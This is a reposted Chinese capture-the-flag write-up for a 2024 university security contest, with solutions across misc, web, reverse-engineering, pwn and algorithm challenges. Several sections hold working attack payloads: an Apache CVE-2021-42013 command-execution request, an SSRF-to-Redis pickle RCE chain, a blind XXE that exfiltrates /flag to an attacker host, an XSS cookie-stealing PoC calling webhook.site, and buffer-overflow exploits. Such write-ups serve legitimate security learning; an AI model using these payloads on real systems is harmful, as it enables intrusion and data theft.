跳转到帖子

2024高校网络安全管理运维赛 wp

recommended_posts

发布于
  • Members

0x00 前言

本文是关于“2024高校网络安全管理运维赛”的详细题解,主要针对Web、Pwn、Re、Misc以及Algorithm等多方向题目的解题过程,包含但不限于钓鱼邮件识别、流量分析、SQLite文件解析、ssrf、xxe等等。如有错误,欢迎指正。

0x01 Misc

签到

给了一个gif,直接在线分帧

lxguvptjb513922.png

得到synt{fvtava-dhvm-jryy-qbar},一眼凯撒,直接rot13解码

dkb4owubtf03923.png

flag{signin-quiz-well-done}

钓鱼邮件识别

给了一个eml邮件文件,可以用邮箱软件查看,也可以直接查看(可能麻烦点)

attbcvflwkz3924.png

Flag 1

uet3e5t2djv3925.png

直接base64解码,得到flag{wElCoMeTo}

bxlssc5szba3926.png

Flag 2

下面的内容是base64编码的信息

ica4x5tf1sh3927.png

exedja2hftz3928.png

解码后查看,得到flag{phIsHhuntINg}

gpwui1jaqkr3929.png

Flag 3

eml文件剩下的内容没有flag了,只能从发件人的域名下手了

oz5ugzknenu3930.png

查下dns解析,这里用的是360威胁情报中心

https://ti.360.net/domain/foobar-edu-cn.com

a11nkljqpff3931.png

(这个情报中心会记录比赛过程的解析历史,所以现在直接看子域名信息就能得到flag)

xvzfednl3ed3932.png

下面还是正常过一遍查询流程

除了第三方服务平台,也可以用windows自带的nslookup,查看域名的TXT记录

nslookup -qt=txt foobar-edu-cn.com

ditva2n0vvd3933.png

根据提示,应该是得去找该域名下的子域名的解析记录,三个拼接出完整的flag

由于域名是在国外申请的,国内很多网站都解析不出来,只能用国外的网站慢慢试

https://www.virustotal.com/gui/domain/spf.foobar-edu-cn.com/details spf

3ogprbjrqy23934.png

https://dnsspy.io/scan/foobar-edu-cn.com default._domainkey

hzntngbbbyn3935.png

https://www.misk.com/tools/#dns/_dmarc.foobar-edu-cn.com _dmarc

j2qszru1xgh3936.png

分别得到三个部分,拼接得到flag

flag_part1={N0wY0u
flag_part2=_Kn0wH0wt0_
flag_part3=ANAlys1sDNS}
flag{N0wY0u_Kn0wH0wt0_ANAlys1sDNS}

其实那三个子域名是对应电子邮件服务器的几种协议,例如:SPF、DKIM 和 DMARC,分别提供对应服务

https://help.aliyun.com/document_detail/2685946.html

etxtuujs4bf3937.png

easyshell

给一个pcap流量包,直接能看到在post请求shell.php,应该是在传马后命令执行

xzqbvmah5o03938.png

过滤下http流,确信上面猜想

h3yb1344b5r3939.png

追踪http流,post的内容是加密过的,结合题目和冰蝎4.0的流量特征,猜测这个是冰蝎马

冰蝎流量特征:

  • Accept: application/json, text/javascript, */*; q=0.01
  • Content-type: Application/x-www-form-urlencoded
  • Connection: Keep-Alive

u1sww2pyhtw3940.png

冰蝎4.0使用AES加密,默认密钥为e45e329feb5d925b,即md5('rebeyond')的前16位

冰蝎3.0,默认密码为:e45e329feb5d925b,可以看看:behinder_decrypt/decropt.php at master · melody27/behinder_decrypt · GitHub

从最后一个响应包往回解码试试

这里需要注意Cyber的AES-CBC模式的iv不能空着,但又不需要偏移,所以填入0

bxrwgiegmp03941.png

4kbyddnwguq3943.png

找到一个有内容的

0ee3tnzbktn3944.png

xcbgk2e4a013947.png

kgnfhgexlbd3949.png

看看请求包是在请求什么,这里放下解码后的结果,可以看出是在读取secret2.txt文件

gmumduas2nq3951.png

secret2.txt

Hello, but what you're looking for isn't me.

然后在前一个响应包找到关键内容

rgkqp1tg3sk3952.png

h3ozuogo5jw3953.png

是个zip压缩包,直接保存出来

lg2kbr0dzti3954.png

查看zip,有个secret1.txt和secret2.txt,需要密码

drd31n1sh5h3955.png

结合已知secret2.txt的内容,我们可以通过已知明文攻击

先写个secret2.txt,保存为zip,保证和原来的加密算法一样

gn1ehomeirn3956.png

开始明文攻击,这里有个小技巧,等他显示找回口令时停止,弹出窗口点保存就能解压了

d5cbaecvfdr3957.png

得到flag{70854278-ea0c-462e-bc18-468c7a04a505}

vsaycpv40503958.png


SecretDB

题目给了一个sqlite的db文件,打开只有Too late, no flag for you.

ud4hq5dbdsx3959.png

应该得恢复被delete的信息,没有找到能直接恢复的工具,要么恢复不出来要么乱码,尝试手动提取

参考:https://www.cnblogs.com/jiangcsu/p/6569045.html

重点是单元内的结构

yr2endqbprj3964.png

010editor打开secret.db,定位到flag处查看,红框下面的部分就是之前被删除的数据

mzgzmsheih13965.png

从上面数据库flag表的结构,我们能看出列为id、sort和message,sort是排序用的索引,message存储可见字符,所以我们可以简单的观察上图的可见字符,也就是message,那么他们的前一位就是sort了,例如可见字符9的十六进制为39,它的前一位为0e,所以索引为0e的值为9

2nhh31byujt3966.png

依次类推,提取剩余的值

0x17 -
0x0 f
0xe 9
0x1b 7
0x10 3
0xa b
0x19 2
0x14 b
0xf 2
0x12 -
0x23 4
0x16 6
0x1f a
0x25 8
0x2 a
0x1e f
0x5 f
0x3 g
0x11 c
0xc 0
0x4 {
0x22 a
0x21 b
0x7 2
0x1d f
0x26 f
0x1c -
0x9 1
0x27 0
0xd -
0xb f
0x8 9
0x1 l
0x13 4
0x29 }
0x15 a
0x28 b
0x6 6
0x1a d
0x24 e
0x20 b

写个脚本排序,输出flag

with open('1.txt', 'r') as f:
    data = f.readlines()

out = [' ' for i in range(43)]
for i in data:
    index, val = i.replace('\n', '').split(' ')
    index = int(index, 16)
    out[index] = val

flag = ''
index = 0
for i in out:
    print(hex(index), i)
    index += 1
    flag += i
print(flag)
# flag{f6291bf0-923c-4ba6- 2d7-ffabba4e8f0b}

缺了一位,爆破一下,得出flag{f6291bf0-923c-4ba6-82d7-ffabba4e8f0b}

Gateway

给了一个网关源码,index.html有产品名称HS8145V

lbr51le5knu3967.png

查询password,在cgi-bin/baseinfoSet.json有一串密码

w5deq1dg3em3969.png

106&112&101&107&127&101&104&49&57&56&53&56&54&56&49&51&51&105&56&103&106&49&56&50&56&103&102&56&52&101&104&102&105&53&101&53&102&129&

搜索一下cgi-bin/baseinfoSet.json

https://github.com/iheshime/ChinaTelecom-ESurfing-Gateway-HG260-Admin-Password-Algorithm

发现是网关管理员通用的加密算法,小改下脚本

exp.py:

def passwd_decode(code) -> str:
    passwd_list = map(int, code.split('&'))
    result=[]
    for i in passwd_list:
        if 97 <= i <= 100 or 65 <= i <= 68:
            i += 22
        elif i > 57:
            i -= 4

        result.append(chr(i))
        #print(i, chr(i))
    return (''.join(result))
passwd = passwd_decode("106&112&101&107&127&101&104&49&57&56&53&56&54&56&49&51&51&105&56&103&106&49&56&50&56&103&102&56&52&101&104&102&105&53&101&53&102&129")
print(passwd)
# flag{ad1985868133e8cf1828cb84adbe5a5b}
或者
code='106&112&101&107&127&101&104&49&57&56&53&56&54&56&49&51&51&105&56&103&106&49&56&50&56&103&102&56&52&101&104&102&105&53&101&53&102&129&'[:-1]    ## "baseinfoSet_TELECOMPASSWORD":"114&73&55&110&69&37&53&113&"
list=map(int,code.split('&'))
result=[]
for i in list:
if i > 57:
i-=4
result.append(chr(i))
print (''.join(result))
#flag{ad1985868133e8cf1828cb

zip

#include <arpa/inet.h>
#include <sys/wait.h>
#include <stdbool.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <stdio.h>
#include <pty.h>

char token[1024], buf[1024];

void load() {
    FILE *f = fopen("token.txt", "r");
    fgets(token, sizeof(token), f);
    token[64] = 0; // maybe 64 bytes is enough
    fclose(f);
}

int cmpstr(char const *a, char const *b) {
    return memcmp(a, b, strlen(a));
}

void zip(char *password) {
    int master, pid;
    pid = forkpty(&master, NULL, NULL, NULL);

    if (pid == 0) {
        char* argv[] = { "7z", "a", "flag.zip", "tmp/flag.txt", "-mem=AES256", "-p", NULL };
        execve("/usr/bin/7z", argv, NULL);
    } else {
        char buffer[4097];
        while (true) {
            ssize_t n = read(master, buffer, 4096);
            if (n < 0) break;
            fflush(stdout);
            write(1, buffer, n);

            buffer[n] = 0;
            if (strstr(buffer, "password")) {
                usleep(10000);
                write(master, password, strlen(password));
                write(master, "\n", 1);
            }
        }
        wait(NULL);
    }
    close(master);
}

void unzip(char *password) {
    int master, pid;
    pid = forkpty(&master, NULL, NULL, NULL);

    if (pid == 0) {
        char* argv[] = { "7z", "e", "flag.zip", NULL };
        execve("/usr/bin/7z", argv, NULL);
    } else {
        char buffer[4097];
        while (true) {
            ssize_t n = read(master, buffer, 4096);
            if (n < 0) break;
            fflush(stdout);
            write(1, buffer, n);

            buffer[n] = 0;
            if (strstr(buffer, "rename all")) {
                usleep(10000);
                write(master, "u\n", 2);
            }

            if (strstr(buffer, "Enter password")) {
                usleep(10000);
                write(master, password, strlen(password));
                write(master, "\n", 1);
            }
        }
        wait(NULL);
    }
    close(master);
}

int main(int argc, char *argv[]) {
    load();
    system("7z");

    puts("your token:");
    fflush(stdout);
    fgets(buf, sizeof(buf), stdin);
    if (cmpstr(token, buf)) {
        puts("wrong token!");
        return 1;
    }

    zip(buf);

    puts("your flag:");
    fflush(stdout);

    fgets(buf, sizeof(buf), stdin);
    if (cmpstr("flag{", buf)) {
        puts("wrong flag!");
        return 1;
    }

    unzip(buf);

    FILE *f = fopen("flag.txt", "r");
    if (!f) {
        puts("flag.txt not found");
        return 1;
    }
    fgets(buf, sizeof(buf), f);
    fclose(f);

    printf("flag: %s\n", buf);

    return 0;
}

题目是模仿终端输入,通过条件是输入的内容要有flag{开头,又要等于队伍token(包含flag{)

主要是利用ascii中的\x7f即del,对前面的flag{进行删除

from pwn import *
from pwnlib.util.iters import mbruteforce
from hashlib import sha256,md5
from Crypto.Cipher import ARC4
context.arch='amd64'
context.os='linux'
context.log_level='debug'

choice=0
if choice==1:
    p=process('./pwn')
else:
    p=remote("url",10003)

s       = lambda data               :p.send(data)
sl      = lambda data               :p.sendline(data)
sa      = lambda x,data             :p.sendafter(x, data)
sla     = lambda x,data             :p.sendlineafter(x, data)
r       = lambda num=4096           :p.recv(num)
rl      = lambda num=4096           :p.recvline(num)
ru      = lambda x                  :p.recvuntil(x)
itr     = lambda                    :p.interactive()
uu32    = lambda data               :u32(data.ljust(4,b'\x00'))
uu64    = lambda data               :u64(data.ljust(8,b'\x00'))
uru64   = lambda                    :uu64(ru('\x7f')[-6:])
leak    = lambda name               :log.success('{} = {}'.format(name, hex(eval(name))))
libc_os   = lambda x                :libc_base + x
libc_sym  = lambda x                :libc_os(libc.sym[x])
def get_sb():
    return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
def debug(cmd=''):
    gdb.attach(p,cmd)
    pause()
def proof_of_work(p):
    p.recvuntil(b"256(\"")
    prefixes = p.recvuntil(b'\"').decode("utf8")[:-1]
    log.success(prefixes)
    def brute(cur):
        content = prefixes + str(cur)
        s = sha256(content.encode())
        if s.hexdigest().startswith("000000") and int(s.hexdigest()[6:8], 16) < 0x40:
            return True
        return False
    proof = mbruteforce(brute,string.ascii_lowercase + string.digits, length=6, method='upto',threads=20)
    p.sendlineafter(b"zero:", proof)
def proof_of_work_md5(p):
    p.recvuntil(b"with \"")
    prefixes = p.recvuntil(b'\"').decode("utf8")[:-1]
    log.success(prefixes)
    def brute(cur):
        s = md5(cur.encode())
        if s.hexdigest().startswith(prefixes):
            return True
        return False
    proof = mbruteforce(brute,string.ascii_letters, length=4, method='fixed')
    p.sendlineafter(b":", proof)

#elf=ELF('./11')
# libc=ELF('./libc-2.23.so')
# libc=ELF('./libc-2.27.so')
#libc=ELF('./libc-2.31.so')
# libc=ELF('./libc.so.6')
# libc=ELF('./libc.so')

# rop = ROP(libc)
# rdi=(rop.find_gadget(['pop rdi', 'ret']))[0]
# rsi=(rop.find_gadget(['pop rsi', 'ret']))[0]
sla('token:','队伍token')
sla('token:','队伍token')

pl='flag{'+'\x7f'*6+'队伍token'
sla('your flag:',pl)
p.interactive()
flag{n3v3r-90NN4-91V3-y0U-UP}
或者
from pwn import *
r = remote('prob03.contest.pku.edu.cn', 10003)
token = '523:MEYCIQChFc9bqsFSI9TBeO1FBPx0uap8LyAozcEXSdh3j4T49gIhAN3MG2j3b33B3kuUES0cEmJZqq4WBi_yp54FP90x8cUy'

r.sendline(token.encode())
recv = r.recvuntil('your token:')
print(recv.decode())

r.sendline(token[:64].encode())
recv = r.recvuntil('your flag:')
print(recv.decode())

exp = ('flag{' + chr(127)*5 + token[:64]).encode()
r.sendline(exp)
r.interactive()

Apache

from flask import Flask,request,send_file
import socket

app = Flask("webserver")

@app.route('/',methods=["GET"])
def index():
    return send_file(__file__)

@app.route('/nc',methods=["POST"])
def nc():
    try:
        dstport=int(request.form['port'])
        data=request.form['data']
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.settimeout(1)
        s.connect(('127.0.0.1', dstport))
        s.send(data.encode())
        recvdata = b''
        while True:
            chunk = s.recv(2048)
            if not chunk.strip():
                break
            else:
                recvdata += chunk
                continue
        return recvdata
    except Exception as e:
        return str(e)

app.run(host="0.0.0.0",port=8080,threaded=True)

题目接受参数port和data,对127.0.0.1:port进行nc连接,发送data

httpd.conf里开启了cgid

LoadModule cgid_module modules/mod_cgid.so

结合题目apache,应该是要打CVE-2021-42013,路径穿越命令执行

同时,题目nc发送data后是循环接收chunk,这样会导致完异常无法接受返回信息

针对chunked传输模式,通过设置Content-Length来限制长度(可以参考上一篇的"凌武杯" D^3CTF 2024 wp)

exp.py

import requests

url = "url/nc"

poc = "echo;cat /flag"
payload=f"""POST /cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/bin/sh HTTP/1.1\r\nHost: 127.0.0.1\r\nConnection: close\r\nContent-Length: {len(poc)}\r\nContent-Type: application/x-www-form-urlencoded\r\n\r\n{poc}"""
data ={
    "port":"80",
    "data":payload
}
res = requests.post(url=url,data=data)
print(res.text)

qlvwdm5yl5o3971.png

flag{whaTaapaCherce}

f or r

这个没什么好说的,能找到原题

https://github.com/BeaCox/myBlog/blob/ebb8b6694ca7d9d998dcfdd703137240a5da25f9/posts/sjtuctf-2024-wp/index.html

dvisyr4scro3973.png

照着文章直接出

from pwn import *

r = remote('prob03.contest.pku.edu.cn', 10003)

token = '523:MEYCIQChFc9bqsFSI9TBeO1FBPx0uap8LyAozcEXSdh3j4T49gIhAN3MG2j3b33B3kuUES0cEmJZqq4WBi_yp54FP90x8cUy'


r.sendline(token.encode())

recv = r.recvuntil('your token:')

print(recv.decode())


r.sendline(token[:64].encode())

recv = r.recvuntil('your flag:')

print(recv.decode())


exp = ('flag{' + chr(127)*5 + token[:64]).encode()

r.sendline(exp)

r.interactive()

image-20240507001406831

0x02 Web

phpsql

一个用户登录界面,password存在sql注入点

保存请求包,sqlmap一把梭

python .\sqlmap.py -r post.txt --dbms mysql --tamper=space2comment -D ctftraining -T "flag" -C "flag" --dump

但注出的flag字段为空

后面发现就是个简单的sql注入,登录后查看就行

空格被过滤了,用MySQL注释符绕过



1ufftscgpqc3977.png

或者用万能密码绕过

wxii51m23sm3979.jpg

pyssrf

from flask import Flask,request
from redis import Redis
import hashlib
import pickle
import base64
import urllib
app = Flask(__name__)
redis = Redis(host='127.0.0.1', port=6379)

def get_result(url):
    url_key=hashlib.md5(url.encode()).hexdigest()
    res=redis.get(url_key)
    if res:
        return pickle.loads(base64.b64decode(res))
    else:
        try:
            print(url)
            info = urllib.request.urlopen(url)
            res = info.read()
            pickres=pickle.dumps(res)
            b64res=base64.b64encode(pickres)
            redis.set(url_key,b64res,ex=300)
            return res
        except urllib.error.URLError as e:
            print(e)

@app.route('/')
def hello():
    url = request.args.get("url")
    return '''%s ''' % get_result('http://'+url).decode(encoding='utf8',errors='ignore')

@app.route('/source') 
def source(): 
    return

参考:

https://bugs.python.org/issue42987 存在CRLF漏洞

flask不出网回显方式 - Longlone’s Blog

题目是接收一个url参数,将redis中url对应的值取出并pickle反序列化

提示python版本为3.7.1,构造pickle序列化数据需要注意版本

主要思路为,利用CRLF注入,打redis未授权,将redis中url对应的值修改为恶意的pickle序列化数据,再次访问时,题目将redis中的内容取出进行pickle反序列化,造成命令执行

exp.py

import requests
import hashlib
import pickle
import base64
import urllib

url = "/?url="

payload=b'''cbuiltins
getattr
(cbuiltins
getattr
(cbuiltins
dict
S'get'
tR(cbuiltins
globals
)RS'__builtins__'
tRS'exec'
tR(S'raise Exception(__import__('os').popen('cat /f*').read())'
tR.
'''

payload_base64 = urllib.parse.quote(base64.b64encode(payload).decode())
print(payload_base64)

def encode_url(url):
    url_key = hashlib.md5(url.encode()).hexdigest()
    return url_key

inject_url = '1.2.3.4'
url_shell = url + inject_url
url_encode = encode_url("http://" + inject_url)

payload = f"127.0.0.1:6379?\r\nauth\r\nroot\r\nSET {url_encode} {payload_base64}\r\nquit"

url_set = url + payload
res1 = requests.get(url=url_set)
print(res1.text)
res2 = requests.get(url=url_shell)
print(res2.text)

qnawgzwyy5l3981.png

fileit

盲打XXE,参考文章https://hextuff.dev/2022/06/26/ctfshow-web-getting-started-xxe/

抓包,将xml转换为dom,应该是xxe,但无回显

na4tjmk4jsx3982.png

需要读取vps上恶意dtd,执行命令后回显到vps上

vps:

a.dtd

<!ENTITY % data SYSTEM "php://filter/convert.base64-encode/resource=/flag">
<!ENTITY % param1 "<!ENTITY exfil SYSTEM 'http://ip:port?file=%data;'>">
# 开启监听端口3000
nc -lnvp 3000

发包:

POST / HTTP/2
Host: 
Content-Length: 152
Content-Type: application/xml

<?xml version="1.0" ?>

<!ENTITY % sp SYSTEM "http://ip:port/a.dtd">
%sp;
%param1;
]>
<r>&exfil;</r>

juppbk4o2ai3983.png

成功回显,base64解码得到flag

glpbt4uctkh3984.png

0onek4zq1ki3985.png

Messy Mongo

代码审计+F12的hint,找到修改用户名的路由:

app.use('/api/*', jwt({ secret }))

app.patch('/api/login', async (c) => {	//修改账号
  const { user } = c.get('jwtPayload')  
  const delta = await c.req.json()
  const newname = delta['username']
  assert.notEqual(newname, 'admin')
  await users.updateOne({ username: user }, [{ $set: delta }])
  if (newname) {
    await todos.updateMany({ user }, [{ $set: { user: delta['username'] } }])
  }
  return c.json(0)
})

这里可以利用mongodb聚合特性中的字符串操作来绕过assert.notEqual并且修改用户为admin:https://www.jianshu.com/p/42845d117587。

登录ctfer用户拿到jwt令牌,然后先发送一个修改用户名为Admin的请求:

{"username":"Admin"}

再登录Admin用户,修改用户名为小写:

{"username":{"$toLower":"$username"}}

请求访问即可拿到flag:

image-20240506223322284

JustXSS

预测nonce来进行XSS。V8的 Math.random() 方法不是密码学安全的,可以通过历史记录来预测伪随机数生成器内部状态,从而获取之后得到的值。能拿到未来的nonce后就可以很方便的注入里。但由于Vue的v-html是设置 innerHTML 来更新DOM,而事件侦听由被CSP给ban了,直接注入 <script> 也是不会执行的。这里就需要第二个Trick,使用iframe绕过这个限制。PoC:<iframe srcdoc="<scriptnonce='$NONCE'>window.open('https://webhook.site/88da27db-7c1e-4fee-8410-9cef8bc08d2c?'+document.cookie)</script>"></iframe>


0x03 Re

easyre

经典BASE64换表题目,表为ZYXWVUTSRQPONMLKJIHGFEDCBAzyxwvutsrqponmlkjihgfedcba9876543210+/

iazonnrg2dg3988.jpg

确实easy,就是一个换标base64

j2ddl1qfjwq3990.png

babyre

有一层upx壳,脱壳后直接扔到angr一把梭

img

import angr

p=angr.Project('./babyre',auto_load_libs=False)
start_start=p.factory.entry_state()
simgr=p.factory.simgr()
#target addr
def target(state):
        return b"Your flag is" in state.posix.dumps(1)
#avoid addr
def bad(state):
        return b"Wrong!" in state.posix.dumps(1)
simgr.explore(find=target,avoid=bad)
if simgr.found:
        solution_state=simgr.found[0]
        print(solution_state.posix.dumps(1))#模拟符合posix环境的数据存储和输入输出

3wvmbqiagms3994.png

0x04 Pwn

Login

登录时使用长字符串能够爆出登录密码:

img

尝试用户名和密码,用admin/1q2w3e4r成功登录,将程序dump下来。

from pwn import *

context.log_level='debug'
context.terminal=['tmux','splitw','-h']
context.arch='amd64'

p = remote('prob04.contest.pku.edu.cn', 10004)

p.recvuntil(b'Please input your token:')
p.sendline(b'420:MEUCIHCbzV_gK-KSymcxQOqGPIQvYLToCjs5aS9A7YQE7z5vAiEAkv_8k96VcVhW7sctKOG28dQmz_bdYs1Ini7Fxi4jIPU=')

## dump file
p.recvuntil(b'Username:')
p.sendline(b'admin')
p.recvuntil(b'Password')
p.sendline(b'1q2w3e4r')

p.recvuntil(b'Core dumped\n')
with open('./Login','+ab') as fd:
file = p.recvall()
fd.write(file)

存在后门函数,直接ret2backdoor即可

from pwn import *

context.log_level='debug'
context.terminal=['tmux','splitw','-h']
context.arch='amd64'

p = remote('prob04.contest.pku.edu.cn', 10004)

p.recvuntil(b'Please input your token:')
p.sendline(b'420:MEUCIHCbzV_gK-KSymcxQOqGPIQvYLToCjs5aS9A7YQE7z5vAiEAkv_8k96VcVhW7sctKOG28dQmz_bdYs1Ini7Fxi4jIPU=')

## dump file
## p.recvuntil(b'Username:')
## p.sendline(b'admin')
## p.recvuntil(b'Password')
## p.sendline(b'1q2w3e4r')

## p.recvuntil(b'Core dumped\n')
## with open('./Login','+ab') as fd:
## file = p.recvall()
## fd.write(file)

ret_addr = 0x4014BF
backdoor_addr = 0x401276

p.recvuntil(b'Username:')
p.sendline(b'admin')
p.recvuntil(b'Password')
p.sendline(b'\x00' * (0x90 + 0x8) + p64(ret_addr) + p64(backdoor_addr))

p.interactive()


img

img

babypwn

给了后门函数,直接打ret2backdoor即可。

kbnbrgwk1az3999.jpg

from pwn import *
from pwnlib.util.iters import mbruteforce
from hashlib import sha256,md5
from Crypto.Cipher import ARC4
context.arch='amd64'
context.os='linux'
context.log_level='debug'

choice=0
if choice==1:
    p=process('./pwn')
else:
    p=remote("prob07.contest.pku.edu.cn",10007)

s       = lambda data               :p.send(data)
sl      = lambda data               :p.sendline(data)
sa      = lambda x,data             :p.sendafter(x, data)
sla     = lambda x,data             :p.sendlineafter(x, data)
r       = lambda num=4096           :p.recv(num)
rl      = lambda num=4096           :p.recvline(num)
ru      = lambda x                  :p.recvuntil(x)
itr     = lambda                    :p.interactive()
uu32    = lambda data               :u32(data.ljust(4,b'\x00'))
uu64    = lambda data               :u64(data.ljust(8,b'\x00'))
uru64   = lambda                    :uu64(ru('\x7f')[-6:])
leak    = lambda name               :log.success('{} = {}'.format(name, hex(eval(name))))
libc_os   = lambda x                :libc_base + x
libc_sym  = lambda x                :libc_os(libc.sym[x])
def get_sb():
    return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
def debug(cmd=''):
    gdb.attach(p,cmd)
    pause()
def proof_of_work(p):
    p.recvuntil(b"256(\"")
    prefixes = p.recvuntil(b'\"').decode("utf8")[:-1]
    log.success(prefixes)
    def brute(cur):
        content = prefixes + str(cur)
        s = sha256(content.encode())
        if s.hexdigest().startswith("000000") and int(s.hexdigest()[6:8], 16) < 0x40:
            return True
        return False
    proof = mbruteforce(brute,string.ascii_lowercase + string.digits, length=6, method='upto',threads=20)
    p.sendlineafter(b"zero:", proof)
def proof_of_work_md5(p):
    p.recvuntil(b"with \"")
    prefixes = p.recvuntil(b'\"').decode("utf8")[:-1]
    log.success(prefixes)
    def brute(cur):
        s = md5(cur.encode())
        if s.hexdigest().startswith(prefixes):
            return True
        return False
    proof = mbruteforce(brute,string.ascii_letters, length=4, method='fixed')
    p.sendlineafter(b":", proof)

#elf=ELF('./11')
# libc=ELF('./libc-2.23.so')
# libc=ELF('./libc-2.27.so')
#libc=ELF('./libc-2.31.so')
# libc=ELF('./libc.so.6')
# libc=ELF('./libc.so')

# rop = ROP(libc)
# rdi=(rop.find_gadget(['pop rdi', 'ret']))[0]
# rsi=(rop.find_gadget(['pop rsi', 'ret']))[0]
sla('token:','20:MEYCIQCSPC8cZqmtbdZzL8NH8ZsYVZWmObVOyeXgLCqEUxxxyAIhALrkbJlt4GFMl-p6cyLpLdBUMaZRJrVU3ETXNwH7tuPN')
sla('Enter your username: ','root\x00')
pl=b'/bin/sh\x00'+b'a'*0x30+flat(0x00000000040117a)

sa('Enter the password: ',pl)
p.interactive()

5g13ia4xp314002.png

0x05 Algorithm

secretbit

from secret import flag
from random import randrange, shuffle
from Crypto.Util.number import bytes_to_long
from tqdm import tqdm

def instance(m, n):
    start = list(range(m))
    shuffle(start)
    for i in range(m):
        now = start[i]
        this_turn = False
        for j in range(n-1):
            if now == i:
                this_turn = True
                break
            now = start[now]
        if not this_turn:
            return 0
    return 1

def leak(m, n, times=2000):
    message = [instance(m, n) for _ in range(times)]
    return message

MAX_M = 400
MIN_M = 200
flag_b = [int(i) for i in bin(bytes_to_long(flag))[2:]]
leak_message = []

for bi in tqdm(flag_b):
    while True:
        tmp_m0 = randrange(MIN_M, MAX_M)
        tmp_n0 = randrange(int(tmp_m0//2), int(tmp_m0 * 8 // 9))
        tmp_m1 = randrange(MIN_M, MAX_M)
        tmp_n1 = randrange(int(tmp_m1//2), int(tmp_m1 * 8 // 9))
        if abs(tmp_m0-tmp_m1-tmp_n0+tmp_n1) > MAX_M // 5:
            break
    choose_m = tmp_m0 if bi == 0 else tmp_m1
    choose_n = tmp_n0 if bi == 0 else tmp_n1
    leak_message.append([[tmp_m0, tmp_n0], [tmp_m1, tmp_n1], leak(choose_m, choose_n)])

open('data.txt', 'w').write(str(leak_message))

eviyfk4zv1t4004.png

根据flag的bit来选择m0和n0,或者m1和n1

题目给了m0、n0、m1、n1和leak后的数据,直接计算两种情况的leak,看哪个和给的leak相近,就能判断出该位的bit了

exp.py:

import ast
import math
from tqdm import tqdm

def instance_avg(m, n, times=2000):
    from random import shuffle
    total = 0
    for _ in range(times):
        start = list(range(m))
        shuffle(start)
        for i in range(m):
            now = start[i]
            this_turn = False
            for _ in range(n-1):
                if now == i:
                    this_turn = True
                    break
                now = start[now]
            if not this_turn:
                total += 0
                break
        else:
            total += 1
    return total / times

with open('data.txt', 'r') as file:
    data = ast.literal_eval(file.read())

flag_bits = []
for [[m0, n0], [m1, n1], message] in tqdm(data):
    p = sum(message) / len(message)
    avg_m0_n0 = instance_avg(m0, n0)
    avg_m1_n1 = instance_avg(m1, n1)

    if math.isclose(p, avg_m0_n0, abs_tol=0.05):
        flag_bits.append(0)
    elif math.isclose(p, avg_m1_n1, abs_tol=0.05):
        flag_bits.append(1)
    else:
        raise ValueError("Unable to determine bit value")

flag_bin_str = ''.join(map(str, flag_bits))
flag_int = int(flag_bin_str, 2)
flag = flag_int.to_bytes((flag_int.bit_length() + 7) // 8, 'big')

print(flag.decode())

0x06 总结

这次比赛有些平时接触不到的知识点,像是钓鱼邮件识别中的dns解析,sqlite文件解析,也有对一些知识的加固,例如apache目录穿越,ssrf+redis未授权,xxe无回显,等等。总的来说,学习到了很多,再接再厉!


附件题目下载地址:

链接: https://pan.baidu.com/s/1AFgFsn0BNZrqB0eyt2e_5Q 提取码: q7e7 


转载原文参考链接地址:https://forum.butian.net/share/2984https://blog.csdn.net/jyttttttt/article/details/138514076 https://blog.xmcve.com/2024/05/07/%E9%AB%98%E6%A0%A1%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8%E7%AE%A1%E7%90%86%E8%BF%90%E7%BB%B4%E8%B5%9B-Writeup/#title-11

  • 查看数 731
  • 已创建
  • 最后回复

参与讨论

你可立刻发布并稍后注册。 如果你有帐户,立刻登录发布帖子。

游客
回帖…